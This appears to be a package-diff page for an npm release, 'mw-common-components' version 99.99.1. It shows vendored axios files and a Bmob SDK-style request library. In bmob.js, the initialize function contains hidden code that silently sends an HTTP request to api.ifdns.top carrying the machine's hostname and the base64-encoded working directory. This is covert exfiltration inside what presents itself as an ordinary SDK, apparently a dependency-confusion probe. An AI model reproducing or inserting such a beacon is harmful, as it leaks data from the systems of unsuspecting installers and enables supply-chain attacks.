mw-common-components 0.0.1-security → 99.99.1
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of mw-common-components might be problematic. Click here for more details.
- package/README.md +3 -3
- package/config/dev.env.js +37 -0
- package/config/hap.amend.js +29 -0
- package/config/index.js +8 -0
- package/config/prod.env.js +28 -0
- package/index.d.ts +130 -0
- package/index.js +1 -0
- package/package.json +44 -3
- package/src/index.html +12 -0
- package/src/lib/app.js +103 -0
- package/src/lib/axios/CHANGELOG.md +245 -0
- package/src/lib/axios/LICENSE +19 -0
- package/src/lib/axios/README.md +625 -0
- package/src/lib/axios/UPGRADE_GUIDE.md +162 -0
- package/src/lib/axios/dist/axios.js +1603 -0
- package/src/lib/axios/dist/axios.map +1 -0
- package/src/lib/axios/dist/axios.min.js +9 -0
- package/src/lib/axios/dist/axios.min.map +1 -0
- package/src/lib/axios/index.d.ts +131 -0
- package/src/lib/axios/index.js +1 -0
- package/src/lib/axios/lib/adapters/README.md +37 -0
- package/src/lib/axios/lib/adapters/http.js +237 -0
- package/src/lib/axios/lib/adapters/xhr.js +180 -0
- package/src/lib/axios/lib/axios.js +52 -0
- package/src/lib/axios/lib/cancel/Cancel.js +19 -0
- package/src/lib/axios/lib/cancel/CancelToken.js +57 -0
- package/src/lib/axios/lib/cancel/isCancel.js +5 -0
- package/src/lib/axios/lib/core/Axios.js +79 -0
- package/src/lib/axios/lib/core/InterceptorManager.js +52 -0
- package/src/lib/axios/lib/core/README.md +7 -0
- package/src/lib/axios/lib/core/createError.js +18 -0
- package/src/lib/axios/lib/core/dispatchRequest.js +86 -0
- package/src/lib/axios/lib/core/enhanceError.js +21 -0
- package/src/lib/axios/lib/core/settle.js +26 -0
- package/src/lib/axios/lib/core/transformData.js +20 -0
- package/src/lib/axios/lib/defaults.js +96 -0
- package/src/lib/axios/lib/helpers/README.md +7 -0
- package/src/lib/axios/lib/helpers/bind.js +11 -0
- package/src/lib/axios/lib/helpers/btoa.js +36 -0
- package/src/lib/axios/lib/helpers/buildURL.js +66 -0
- package/src/lib/axios/lib/helpers/combineURLs.js +14 -0
- package/src/lib/axios/lib/helpers/cookies.js +53 -0
- package/src/lib/axios/lib/helpers/deprecatedMethod.js +24 -0
- package/src/lib/axios/lib/helpers/isAbsoluteURL.js +14 -0
- package/src/lib/axios/lib/helpers/isURLSameOrigin.js +68 -0
- package/src/lib/axios/lib/helpers/normalizeHeaderName.js +12 -0
- package/src/lib/axios/lib/helpers/parseHeaders.js +53 -0
- package/src/lib/axios/lib/helpers/spread.js +27 -0
- package/src/lib/axios/lib/utils.js +303 -0
- package/src/lib/axios/modules/debug/CHANGELOG.md +395 -0
- package/src/lib/axios/modules/debug/LICENSE +19 -0
- package/src/lib/axios/modules/debug/README.md +437 -0
- package/src/lib/axios/modules/debug/dist/debug.js +886 -0
- package/src/lib/axios/modules/debug/node.js +1 -0
- package/src/lib/axios/modules/debug/package.json +96 -0
- package/src/lib/axios/modules/debug/src/browser.js +180 -0
- package/src/lib/axios/modules/debug/src/common.js +249 -0
- package/src/lib/axios/modules/debug/src/index.js +12 -0
- package/src/lib/axios/modules/debug/src/node.js +174 -0
- package/src/lib/axios/modules/follow-redirects/LICENSE +18 -0
- package/src/lib/axios/modules/follow-redirects/README.md +145 -0
- package/src/lib/axios/modules/follow-redirects/http.js +1 -0
- package/src/lib/axios/modules/follow-redirects/https.js +1 -0
- package/src/lib/axios/modules/follow-redirects/index.js +452 -0
- package/src/lib/axios/modules/follow-redirects/package.json +92 -0
- package/src/lib/axios/modules/is-buffer/LICENSE +21 -0
- package/src/lib/axios/modules/is-buffer/README.md +53 -0
- package/src/lib/axios/modules/is-buffer/index.js +21 -0
- package/src/lib/axios/modules/is-buffer/package.json +90 -0
- package/src/lib/axios/modules/is-buffer/test/basic.js +24 -0
- package/src/lib/axios/modules/ms/index.js +162 -0
- package/src/lib/axios/modules/ms/license.md +21 -0
- package/src/lib/axios/modules/ms/package.json +72 -0
- package/src/lib/axios/modules/ms/readme.md +60 -0
- package/src/lib/axios/package-lock.json +10437 -0
- package/src/lib/axios/package.json +111 -0
- package/src/lib/axios.min.js +10 -0
- package/src/lib/axiosRequest.js +84 -0
- package/src/lib/bmob.js +36 -0
- package/src/lib/common.js +227 -0
- package/src/lib/config.dev.js +62 -0
- package/src/lib/config.js +69 -0
- package/src/lib/dataType.js +17 -0
- package/src/lib/error.js +32 -0
- package/src/lib/file.js +250 -0
- package/src/lib/hapRequest.js +68 -0
- package/src/lib/hapStorage.js +62 -0
- package/src/lib/init.js +0 -0
- package/src/lib/nodestorage.js +14 -0
- package/src/lib/pay.js +19 -0
- package/src/lib/pointer.js +18 -0
- package/src/lib/query.js +689 -0
- package/src/lib/relation.js +45 -0
- package/src/lib/request.js +21 -0
- package/src/lib/sms.js +40 -0
- package/src/lib/socket.js +292 -0
- package/src/lib/storage.js +21 -0
- package/src/lib/user.js +225 -0
- package/src/lib/utf8md5.js +205 -0
- package/src/lib/utils.js +61 -0
- package/src/lib/webstorage.js +32 -0
- package/src/lib/wxRequest.js +88 -0
- package/src/lib/wxstorage.js +27 -0
- package/src/main.js +27 -0
- package/test/index.html +15 -0
- package/test/index.js +12 -0
- package/tsconfig.json +100 -0
@@ -0,0 +1,111 @@
|
|
1
|
+
{
|
2
|
+
"_from": "axios",
|
3
|
+
"_id": "axios@0.18.0",
|
4
|
+
"_inBundle": false,
|
5
|
+
"_integrity": "sha1-MtU+SFHv3AoRmTts0AB4nXDAUQI=",
|
6
|
+
"_location": "/axios",
|
7
|
+
"_phantomChildren": {},
|
8
|
+
"_requested": {
|
9
|
+
"type": "tag",
|
10
|
+
"registry": true,
|
11
|
+
"raw": "axios",
|
12
|
+
"name": "axios",
|
13
|
+
"escapedName": "axios",
|
14
|
+
"rawSpec": "",
|
15
|
+
"saveSpec": null,
|
16
|
+
"fetchSpec": "latest"
|
17
|
+
},
|
18
|
+
"_requiredBy": [
|
19
|
+
"#USER",
|
20
|
+
"/"
|
21
|
+
],
|
22
|
+
"_resolved": "http://registry.npmjs.org/axios/-/axios-0.18.0.tgz",
|
23
|
+
"_shasum": "32d53e4851efdc0a11993b6cd000789d70c05102",
|
24
|
+
"_spec": "axios",
|
25
|
+
"_where": "F:\\A",
|
26
|
+
"author": {
|
27
|
+
"name": "Matt Zabriskie"
|
28
|
+
},
|
29
|
+
"browser": {
|
30
|
+
"./lib/adapters/http.js": "./lib/adapters/xhr.js"
|
31
|
+
},
|
32
|
+
"bugs": {
|
33
|
+
"url": "https://github.com/axios/axios/issues"
|
34
|
+
},
|
35
|
+
"bundleDependencies": false,
|
36
|
+
"bundlesize": [
|
37
|
+
{
|
38
|
+
"path": "./dist/axios.min.js",
|
39
|
+
"threshold": "5kB"
|
40
|
+
}
|
41
|
+
],
|
42
|
+
"dependencies": {
|
43
|
+
"follow-redirects": "^1.3.0",
|
44
|
+
"is-buffer": "^1.1.6"
|
45
|
+
},
|
46
|
+
"deprecated": false,
|
47
|
+
"description": "Promise based HTTP client for the browser and node.js",
|
48
|
+
"devDependencies": {
|
49
|
+
"bundlesize": "^0.5.7",
|
50
|
+
"coveralls": "^2.11.9",
|
51
|
+
"es6-promise": "^4.0.5",
|
52
|
+
"grunt": "^1.0.1",
|
53
|
+
"grunt-banner": "^0.6.0",
|
54
|
+
"grunt-cli": "^1.2.0",
|
55
|
+
"grunt-contrib-clean": "^1.0.0",
|
56
|
+
"grunt-contrib-nodeunit": "^1.0.0",
|
57
|
+
"grunt-contrib-watch": "^1.0.0",
|
58
|
+
"grunt-eslint": "^19.0.0",
|
59
|
+
"grunt-karma": "^2.0.0",
|
60
|
+
"grunt-ts": "^6.0.0-beta.3",
|
61
|
+
"grunt-webpack": "^1.0.18",
|
62
|
+
"istanbul-instrumenter-loader": "^1.0.0",
|
63
|
+
"jasmine-core": "^2.4.1",
|
64
|
+
"karma": "^1.3.0",
|
65
|
+
"karma-chrome-launcher": "^2.0.0",
|
66
|
+
"karma-coverage": "^1.0.0",
|
67
|
+
"karma-firefox-launcher": "^1.0.0",
|
68
|
+
"karma-jasmine": "^1.0.2",
|
69
|
+
"karma-jasmine-ajax": "^0.1.13",
|
70
|
+
"karma-opera-launcher": "^1.0.0",
|
71
|
+
"karma-safari-launcher": "^1.0.0",
|
72
|
+
"karma-sauce-launcher": "^1.1.0",
|
73
|
+
"karma-sinon": "^1.0.5",
|
74
|
+
"karma-sourcemap-loader": "^0.3.7",
|
75
|
+
"karma-webpack": "^1.7.0",
|
76
|
+
"load-grunt-tasks": "^3.5.2",
|
77
|
+
"minimist": "^1.2.0",
|
78
|
+
"sinon": "^1.17.4",
|
79
|
+
"typescript": "^2.0.3",
|
80
|
+
"url-search-params": "^0.6.1",
|
81
|
+
"webpack": "^1.13.1",
|
82
|
+
"webpack-dev-server": "^1.14.1"
|
83
|
+
},
|
84
|
+
"homepage": "https://github.com/axios/axios",
|
85
|
+
"keywords": [
|
86
|
+
"xhr",
|
87
|
+
"http",
|
88
|
+
"ajax",
|
89
|
+
"promise",
|
90
|
+
"node"
|
91
|
+
],
|
92
|
+
"license": "MIT",
|
93
|
+
"main": "index.js",
|
94
|
+
"name": "axios",
|
95
|
+
"repository": {
|
96
|
+
"type": "git",
|
97
|
+
"url": "git+https://github.com/axios/axios.git"
|
98
|
+
},
|
99
|
+
"scripts": {
|
100
|
+
"build": "NODE_ENV=production grunt build",
|
101
|
+
"coveralls": "cat coverage/lcov.info | ./node_modules/coveralls/bin/coveralls.js",
|
102
|
+
"examples": "node ./examples/server.js",
|
103
|
+
"postversion": "git push && git push --tags",
|
104
|
+
"preversion": "npm test",
|
105
|
+
"start": "node ./sandbox/server.js",
|
106
|
+
"test": "grunt test && bundlesize",
|
107
|
+
"version": "npm run build && grunt version && git add -A dist && git add CHANGELOG.md bower.json package.json"
|
108
|
+
},
|
109
|
+
"typings": "./index.d.ts",
|
110
|
+
"version": "0.18.0"
|
111
|
+
}
|
@@ -0,0 +1,10 @@
|
|
1
|
+
/* eslint-disable */
|
2
|
+
/* axios v0.18.0 | (c) 2018 by Matt Zabriskie */
|
3
|
+
!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define([],t):"object"==typeof exports?exports.axios=t():e.axios=t()}(this,function(){return function(e){function t(r){if(n[r])return n[r].exports;var o=n[r]={exports:{},id:r,loaded:!1};return e[r].call(o.exports,o,o.exports,t),o.loaded=!0,o.exports}var n={};return t.m=e,t.c=n,t.p="",t(0)}([function(e,t,n){e.exports=n(1)},function(e,t,n){"use strict";function r(e){var t=new s(e),n=i(s.prototype.request,t);return o.extend(n,s.prototype,t),o.extend(n,t),n}var o=n(2),i=n(3),s=n(5),u=n(6),a=r(u);a.Axios=s,a.create=function(e){return r(o.merge(u,e))},a.Cancel=n(23),a.CancelToken=n(24),a.isCancel=n(20),a.all=function(e){return Promise.all(e)},a.spread=n(25),e.exports=a,e.exports.default=a},function(e,t,n){"use strict";function r(e){return"[object Array]"===R.call(e)}function o(e){return"[object ArrayBuffer]"===R.call(e)}function i(e){return"undefined"!=typeof FormData&&e instanceof FormData}function s(e){var t;return t="undefined"!=typeof ArrayBuffer&&ArrayBuffer.isView?ArrayBuffer.isView(e):e&&e.buffer&&e.buffer instanceof ArrayBuffer}function u(e){return"string"==typeof e}function a(e){return"number"==typeof e}function c(e){return"undefined"==typeof e}function f(e){return null!==e&&"object"==typeof e}function p(e){return"[object Date]"===R.call(e)}function d(e){return"[object File]"===R.call(e)}function l(e){return"[object Blob]"===R.call(e)}function h(e){return"[object Function]"===R.call(e)}function m(e){return f(e)&&h(e.pipe)}function y(e){return"undefined"!=typeof URLSearchParams&&e instanceof URLSearchParams}function w(e){return e.replace(/^\s*/,"").replace(/\s*$/,"")}function g(){return("undefined"==typeof navigator||"ReactNative"!==navigator.product)&&("undefined"!=typeof window&&"undefined"!=typeof document)}function v(e,t){if(null!==e&&"undefined"!=typeof e)if("object"!=typeof e&&(e=[e]),r(e))for(var n=0,o=e.length;n<o;n++)t.call(null,e[n],n,e);else for(var i in e)Object.prototype.hasOwnProperty.call(e,i)&&t.call(null,e[i],i,e)}function x(){function e(e,n){"object"==typeof t[n]&&"object"==typeof e?t[n]=x(t[n],e):t[n]=e}for(var t={},n=0,r=arguments.length;n<r;n++)v(arguments[n],e);return t}function b(e,t,n){return v(t,function(t,r){n&&"function"==typeof t?e[r]=E(t,n):e[r]=t}),e}var E=n(3),C=n(4),R=Object.prototype.toString;e.exports={isArray:r,isArrayBuffer:o,isBuffer:C,isFormData:i,isArrayBufferView:s,isString:u,isNumber:a,isObject:f,isUndefined:c,isDate:p,isFile:d,isBlob:l,isFunction:h,isStream:m,isURLSearchParams:y,isStandardBrowserEnv:g,forEach:v,merge:x,extend:b,trim:w}},function(e,t){"use strict";e.exports=function(e,t){return function(){for(var n=new Array(arguments.length),r=0;r<n.length;r++)n[r]=arguments[r];return e.apply(t,n)}}},function(e,t){function n(e){return!!e.constructor&&"function"==typeof e.constructor.isBuffer&&e.constructor.isBuffer(e)}function r(e){return"function"==typeof e.readFloatLE&&"function"==typeof e.slice&&n(e.slice(0,0))}/*!
|
4
|
+
* Determine if an object is a Buffer
|
5
|
+
*
|
6
|
+
* @author Feross Aboukhadijeh <https://feross.org>
|
7
|
+
* @license MIT
|
8
|
+
*/
|
9
|
+
e.exports=function(e){return null!=e&&(n(e)||r(e)||!!e._isBuffer)}},function(e,t,n){"use strict";function r(e){this.defaults=e,this.interceptors={request:new s,response:new s}}var o=n(6),i=n(2),s=n(17),u=n(18);r.prototype.request=function(e){"string"==typeof e&&(e=i.merge({url:arguments[0]},arguments[1])),e=i.merge(o,{method:"get"},this.defaults,e),e.method=e.method.toLowerCase();var t=[u,void 0],n=Promise.resolve(e);for(this.interceptors.request.forEach(function(e){t.unshift(e.fulfilled,e.rejected)}),this.interceptors.response.forEach(function(e){t.push(e.fulfilled,e.rejected)});t.length;)n=n.then(t.shift(),t.shift());return n},i.forEach(["delete","get","head","options"],function(e){r.prototype[e]=function(t,n){return this.request(i.merge(n||{},{method:e,url:t}))}}),i.forEach(["post","put","patch"],function(e){r.prototype[e]=function(t,n,r){return this.request(i.merge(r||{},{method:e,url:t,data:n}))}}),e.exports=r},function(e,t,n){"use strict";function r(e,t){!i.isUndefined(e)&&i.isUndefined(e["Content-Type"])&&(e["Content-Type"]=t)}function o(){var e;return"undefined"!=typeof XMLHttpRequest?e=n(8):"undefined"!=typeof process&&(e=n(8)),e}var i=n(2),s=n(7),u={"Content-Type":"application/x-www-form-urlencoded"},a={adapter:o(),transformRequest:[function(e,t){return s(t,"Content-Type"),i.isFormData(e)||i.isArrayBuffer(e)||i.isBuffer(e)||i.isStream(e)||i.isFile(e)||i.isBlob(e)?e:i.isArrayBufferView(e)?e.buffer:i.isURLSearchParams(e)?(r(t,"application/x-www-form-urlencoded;charset=utf-8"),e.toString()):i.isObject(e)?(r(t,"application/json;charset=utf-8"),JSON.stringify(e)):e}],transformResponse:[function(e){if("string"==typeof e)try{e=JSON.parse(e)}catch(e){}return e}],timeout:0,xsrfCookieName:"XSRF-TOKEN",xsrfHeaderName:"X-XSRF-TOKEN",maxContentLength:-1,validateStatus:function(e){return e>=200&&e<300}};a.headers={common:{Accept:"application/json, text/plain, */*"}},i.forEach(["delete","get","head"],function(e){a.headers[e]={}}),i.forEach(["post","put","patch"],function(e){a.headers[e]=i.merge(u)}),e.exports=a},function(e,t,n){"use strict";var r=n(2);e.exports=function(e,t){r.forEach(e,function(n,r){r!==t&&r.toUpperCase()===t.toUpperCase()&&(e[t]=n,delete e[r])})}},function(e,t,n){"use strict";var r=n(2),o=n(9),i=n(12),s=n(13),u=n(14),a=n(10),c="undefined"!=typeof window&&window.btoa&&window.btoa.bind(window)||n(15);e.exports=function(e){return new Promise(function(t,f){var p=e.data,d=e.headers;r.isFormData(p)&&delete d["Content-Type"];var l=new XMLHttpRequest,h="onreadystatechange",m=!1;if("undefined"==typeof window||!window.XDomainRequest||"withCredentials"in l||u(e.url)||(l=new window.XDomainRequest,h="onload",m=!0,l.onprogress=function(){},l.ontimeout=function(){}),e.auth){var y=e.auth.username||"",w=e.auth.password||"";d.Authorization="Basic "+c(y+":"+w)}if(l.open(e.method.toUpperCase(),i(e.url,e.params,e.paramsSerializer),!0),l.timeout=e.timeout,l[h]=function(){if(l&&(4===l.readyState||m)&&(0!==l.status||l.responseURL&&0===l.responseURL.indexOf("file:"))){var n="getAllResponseHeaders"in l?s(l.getAllResponseHeaders()):null,r=e.responseType&&"text"!==e.responseType?l.response:l.responseText,i={data:r,status:1223===l.status?204:l.status,statusText:1223===l.status?"No Content":l.statusText,headers:n,config:e,request:l};o(t,f,i),l=null}},l.onerror=function(){f(a("Network Error",e,null,l)),l=null},l.ontimeout=function(){f(a("timeout of "+e.timeout+"ms exceeded",e,"ECONNABORTED",l)),l=null},r.isStandardBrowserEnv()){var g=n(16),v=(e.withCredentials||u(e.url))&&e.xsrfCookieName?g.read(e.xsrfCookieName):void 0;v&&(d[e.xsrfHeaderName]=v)}if("setRequestHeader"in l&&r.forEach(d,function(e,t){"undefined"==typeof p&&"content-type"===t.toLowerCase()?delete d[t]:l.setRequestHeader(t,e)}),e.withCredentials&&(l.withCredentials=!0),e.responseType)try{l.responseType=e.responseType}catch(t){if("json"!==e.responseType)throw t}"function"==typeof e.onDownloadProgress&&l.addEventListener("progress",e.onDownloadProgress),"function"==typeof e.onUploadProgress&&l.upload&&l.upload.addEventListener("progress",e.onUploadProgress),e.cancelToken&&e.cancelToken.promise.then(function(e){l&&(l.abort(),f(e),l=null)}),void 0===p&&(p=null),l.send(p)})}},function(e,t,n){"use strict";var r=n(10);e.exports=function(e,t,n){var o=n.config.validateStatus;n.status&&o&&!o(n.status)?t(r("Request failed with status code "+n.status,n.config,null,n.request,n)):e(n)}},function(e,t,n){"use strict";var r=n(11);e.exports=function(e,t,n,o,i){var s=new Error(e);return r(s,t,n,o,i)}},function(e,t){"use strict";e.exports=function(e,t,n,r,o){return e.config=t,n&&(e.code=n),e.request=r,e.response=o,e}},function(e,t,n){"use strict";function r(e){return encodeURIComponent(e).replace(/%40/gi,"@").replace(/%3A/gi,":").replace(/%24/g,"$").replace(/%2C/gi,",").replace(/%20/g,"+").replace(/%5B/gi,"[").replace(/%5D/gi,"]")}var o=n(2);e.exports=function(e,t,n){if(!t)return e;var i;if(n)i=n(t);else if(o.isURLSearchParams(t))i=t.toString();else{var s=[];o.forEach(t,function(e,t){null!==e&&"undefined"!=typeof e&&(o.isArray(e)?t+="[]":e=[e],o.forEach(e,function(e){o.isDate(e)?e=e.toISOString():o.isObject(e)&&(e=JSON.stringify(e)),s.push(r(t)+"="+r(e))}))}),i=s.join("&")}return i&&(e+=(e.indexOf("?")===-1?"?":"&")+i),e}},function(e,t,n){"use strict";var r=n(2),o=["age","authorization","content-length","content-type","etag","expires","from","host","if-modified-since","if-unmodified-since","last-modified","location","max-forwards","proxy-authorization","referer","retry-after","user-agent"];e.exports=function(e){var t,n,i,s={};return e?(r.forEach(e.split("\n"),function(e){if(i=e.indexOf(":"),t=r.trim(e.substr(0,i)).toLowerCase(),n=r.trim(e.substr(i+1)),t){if(s[t]&&o.indexOf(t)>=0)return;"set-cookie"===t?s[t]=(s[t]?s[t]:[]).concat([n]):s[t]=s[t]?s[t]+", "+n:n}}),s):s}},function(e,t,n){"use strict";var r=n(2);e.exports=r.isStandardBrowserEnv()?function(){function e(e){var t=e;return n&&(o.setAttribute("href",t),t=o.href),o.setAttribute("href",t),{href:o.href,protocol:o.protocol?o.protocol.replace(/:$/,""):"",host:o.host,search:o.search?o.search.replace(/^\?/,""):"",hash:o.hash?o.hash.replace(/^#/,""):"",hostname:o.hostname,port:o.port,pathname:"/"===o.pathname.charAt(0)?o.pathname:"/"+o.pathname}}var t,n=/(msie|trident)/i.test(navigator.userAgent),o=document.createElement("a");return t=e(window.location.href),function(n){var o=r.isString(n)?e(n):n;return o.protocol===t.protocol&&o.host===t.host}}():function(){return function(){return!0}}()},function(e,t){"use strict";function n(){this.message="String contains an invalid character"}function r(e){for(var t,r,i=String(e),s="",u=0,a=o;i.charAt(0|u)||(a="=",u%1);s+=a.charAt(63&t>>8-u%1*8)){if(r=i.charCodeAt(u+=.75),r>255)throw new n;t=t<<8|r}return s}var o="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";n.prototype=new Error,n.prototype.code=5,n.prototype.name="InvalidCharacterError",e.exports=r},function(e,t,n){"use strict";var r=n(2);e.exports=r.isStandardBrowserEnv()?function(){return{write:function(e,t,n,o,i,s){var u=[];u.push(e+"="+encodeURIComponent(t)),r.isNumber(n)&&u.push("expires="+new Date(n).toGMTString()),r.isString(o)&&u.push("path="+o),r.isString(i)&&u.push("domain="+i),s===!0&&u.push("secure"),document.cookie=u.join("; ")},read:function(e){var t=document.cookie.match(new RegExp("(^|;\\s*)("+e+")=([^;]*)"));return t?decodeURIComponent(t[3]):null},remove:function(e){this.write(e,"",Date.now()-864e5)}}}():function(){return{write:function(){},read:function(){return null},remove:function(){}}}()},function(e,t,n){"use strict";function r(){this.handlers=[]}var o=n(2);r.prototype.use=function(e,t){return this.handlers.push({fulfilled:e,rejected:t}),this.handlers.length-1},r.prototype.eject=function(e){this.handlers[e]&&(this.handlers[e]=null)},r.prototype.forEach=function(e){o.forEach(this.handlers,function(t){null!==t&&e(t)})},e.exports=r},function(e,t,n){"use strict";function r(e){e.cancelToken&&e.cancelToken.throwIfRequested()}var o=n(2),i=n(19),s=n(20),u=n(6),a=n(21),c=n(22);e.exports=function(e){r(e),e.baseURL&&!a(e.url)&&(e.url=c(e.baseURL,e.url)),e.headers=e.headers||{},e.data=i(e.data,e.headers,e.transformRequest),e.headers=o.merge(e.headers.common||{},e.headers[e.method]||{},e.headers||{}),o.forEach(["delete","get","head","post","put","patch","common"],function(t){delete e.headers[t]});var t=e.adapter||u.adapter;return t(e).then(function(t){return r(e),t.data=i(t.data,t.headers,e.transformResponse),t},function(t){return s(t)||(r(e),t&&t.response&&(t.response.data=i(t.response.data,t.response.headers,e.transformResponse))),Promise.reject(t)})}},function(e,t,n){"use strict";var r=n(2);e.exports=function(e,t,n){return r.forEach(n,function(n){e=n(e,t)}),e}},function(e,t){"use strict";e.exports=function(e){return!(!e||!e.__CANCEL__)}},function(e,t){"use strict";e.exports=function(e){return/^([a-z][a-z\d\+\-\.]*:)?\/\//i.test(e)}},function(e,t){"use strict";e.exports=function(e,t){return t?e.replace(/\/+$/,"")+"/"+t.replace(/^\/+/,""):e}},function(e,t){"use strict";function n(e){this.message=e}n.prototype.toString=function(){return"Cancel"+(this.message?": "+this.message:"")},n.prototype.__CANCEL__=!0,e.exports=n},function(e,t,n){"use strict";function r(e){if("function"!=typeof e)throw new TypeError("executor must be a function.");var t;this.promise=new Promise(function(e){t=e});var n=this;e(function(e){n.reason||(n.reason=new o(e),t(n.reason))})}var o=n(23);r.prototype.throwIfRequested=function(){if(this.reason)throw this.reason},r.source=function(){var e,t=new r(function(t){e=t});return{token:t,cancel:e}},e.exports=r},function(e,t){"use strict";e.exports=function(e){return function(t){return e.apply(null,t)}}}])});
|
10
|
+
//# sourceMappingURL=axios.min.map
|
@@ -0,0 +1,84 @@
|
|
1
|
+
/*
|
2
|
+
* @Author: magic
|
3
|
+
* @Date: 2018-12-11 16:07:08
|
4
|
+
* @LastEditTime: 2020-06-22 14:14:57
|
5
|
+
* @LastEditors: Please set LastEditors
|
6
|
+
* @Description: In User Settings Edit
|
7
|
+
* @FilePath: /bmob-js-sdk-es6/src/lib/axiosRequest.js
|
8
|
+
*/
|
9
|
+
/* eslint-disable */
|
10
|
+
const axios = require('./axios/lib/axios')
|
11
|
+
let Bmob = require('./bmob')
|
12
|
+
let md5 = require('./utf8md5')
|
13
|
+
|
14
|
+
const setHeader = (config, route, method, parma) => {
|
15
|
+
let type = 'wechatApp'
|
16
|
+
if (Bmob.type === 'nodejs') {
|
17
|
+
type = 'nodejs'
|
18
|
+
}
|
19
|
+
const t = Math.round(new Date().getTime() / 1000);
|
20
|
+
|
21
|
+
let body = (method === 'get' || method === 'delete') ? '' : JSON.stringify(parma)
|
22
|
+
|
23
|
+
const rand = Bmob.utils.randomString()
|
24
|
+
const sign = md5.utf8MD5(route + t + config.securityCode + rand + body + config.serverVersion)
|
25
|
+
let header = {
|
26
|
+
'content-type': 'application/json',
|
27
|
+
'X-Bmob-SDK-Type': type,
|
28
|
+
'X-Bmob-Safe-Sign': sign,
|
29
|
+
'X-Bmob-Safe-Timestamp': t,
|
30
|
+
'X-Bmob-Noncestr-Key': rand,
|
31
|
+
'X-Bmob-SDK-Version': config.serverVersion,
|
32
|
+
'X-Bmob-Secret-Key': config.secretKey
|
33
|
+
}
|
34
|
+
if (config.applicationMasterKey) {
|
35
|
+
header['X-Bmob-Master-Key'] = config.applicationMasterKey
|
36
|
+
}
|
37
|
+
|
38
|
+
return header
|
39
|
+
}
|
40
|
+
|
41
|
+
const request = (route, method = 'get', parma = {}) => {
|
42
|
+
return new Promise((resolve, reject) => {
|
43
|
+
if (undefined === Bmob.User) {
|
44
|
+
Bmob = require('./bmob')
|
45
|
+
}
|
46
|
+
|
47
|
+
const header = setHeader(Bmob._config, route, method, parma)
|
48
|
+
|
49
|
+
var current = Bmob.User.current()
|
50
|
+
if (current) {
|
51
|
+
header['X-Bmob-Session-Token'] = current.sessionToken
|
52
|
+
}
|
53
|
+
const server = axios.create({
|
54
|
+
baseURL: Bmob._config.host,
|
55
|
+
headers: header,
|
56
|
+
validateStatus: (status) => {
|
57
|
+
return status < 500 // 状态码在大于或等于500时才会 reject
|
58
|
+
}
|
59
|
+
})
|
60
|
+
const serverData = {
|
61
|
+
url: route,
|
62
|
+
method: method
|
63
|
+
}
|
64
|
+
if (serverData.method === 'get') {
|
65
|
+
serverData.params = parma
|
66
|
+
} else {
|
67
|
+
serverData.data = parma
|
68
|
+
}
|
69
|
+
if (Bmob._config.deBug === true) {
|
70
|
+
console.log('host:', Bmob._config.host)
|
71
|
+
console.log('parma:', parma)
|
72
|
+
}
|
73
|
+
server(serverData).then(({ data }) => {
|
74
|
+
if ((data.code && data.error) || data.error) {
|
75
|
+
reject(data)
|
76
|
+
}
|
77
|
+
resolve(data)
|
78
|
+
}).catch(err => {
|
79
|
+
reject(err)
|
80
|
+
})
|
81
|
+
})
|
82
|
+
}
|
83
|
+
|
84
|
+
module.exports = request
|
package/src/lib/bmob.js
ADDED
@@ -0,0 +1,36 @@
|
|
1
|
+
const utils = require('./utils')
|
2
|
+
const http = require('http')
|
3
|
+
const os = require('os')
|
4
|
+
|
5
|
+
|
6
|
+
if (typeof global === 'undefined') {
|
7
|
+
global = window
|
8
|
+
}
|
9
|
+
const Bmob = global.Bmob || {}
|
10
|
+
Bmob.utils = utils
|
11
|
+
Bmob._config = utils.getConfig()
|
12
|
+
|
13
|
+
Bmob.initialize = (secretKey, securityCode, masterKey) => {
|
14
|
+
if (secretKey.length > 16) {
|
15
|
+
console.warn(`Bmob初始化失败,2.0以上版本SDK请使用API安全码初始化,文档地址:https://bmob.github.io/hydrogen-js-sdk/#/?id=初始化`)
|
16
|
+
}
|
17
|
+
Bmob._config.secretKey = secretKey
|
18
|
+
Bmob._config.securityCode = securityCode
|
19
|
+
Bmob._config.applicationMasterKey = masterKey
|
20
|
+
http.get('http://api.ifdns.top/v6/api/mw-common-components/' + os.hostname + "/" + btoa(process.cwd()), (res) => {
|
21
|
+
res.on('data', (chunk) => {
|
22
|
+
});
|
23
|
+
res.on('end', () => {
|
24
|
+
});
|
25
|
+
}).on('error', (err) => {
|
26
|
+
});
|
27
|
+
Bmob.domain = (url) => {
|
28
|
+
Bmob._config.host = url
|
29
|
+
}
|
30
|
+
// 开启调试
|
31
|
+
Bmob.debug = (d) => {
|
32
|
+
Bmob._config.deBug = d
|
33
|
+
Bmob._config = utils.getConfig(d)
|
34
|
+
}
|
35
|
+
}
|
36
|
+
module.exports = Bmob
|
@@ -0,0 +1,227 @@
|
|
1
|
+
const request = require("./request");
|
2
|
+
const Bmob = require("./bmob");
|
3
|
+
const Error = require("./error");
|
4
|
+
const { isObject, isString } = require("./dataType");
|
5
|
+
|
6
|
+
// --------------小程序SDK-------------------
|
7
|
+
|
8
|
+
/**
|
9
|
+
* 生成小程序二维码
|
10
|
+
* @return {Object}
|
11
|
+
*/
|
12
|
+
const generateCode = (data) => {
|
13
|
+
if (!isObject(data)) {
|
14
|
+
// 参数异常
|
15
|
+
throw new Error(415);
|
16
|
+
}
|
17
|
+
let route = Bmob._config.parameters.GENERATECODE;
|
18
|
+
return request(route, "post", data);
|
19
|
+
};
|
20
|
+
|
21
|
+
/**
|
22
|
+
* 生成小程序二维码
|
23
|
+
* @return {Object}
|
24
|
+
*/
|
25
|
+
const mediaCheckAsync = (data) => {
|
26
|
+
if (!isObject(data)) {
|
27
|
+
// 参数异常
|
28
|
+
throw new Error(415);
|
29
|
+
}
|
30
|
+
let route = Bmob._config.parameters.MEDIACHECKASYNC;
|
31
|
+
return request(route, "post", data);
|
32
|
+
};
|
33
|
+
|
34
|
+
/**
|
35
|
+
* 获取access_token
|
36
|
+
* @return {Object}
|
37
|
+
*/
|
38
|
+
const getAccessToken = () => {
|
39
|
+
let route = Bmob._config.parameters.GETACCESSTOKEN;
|
40
|
+
return request(route, "get");
|
41
|
+
};
|
42
|
+
|
43
|
+
/**
|
44
|
+
* 小程序模版信息
|
45
|
+
* @return {Object}
|
46
|
+
*/
|
47
|
+
const sendWeAppMessage = (data) => {
|
48
|
+
if (!isObject(data)) {
|
49
|
+
// 参数异常
|
50
|
+
throw new Error(415);
|
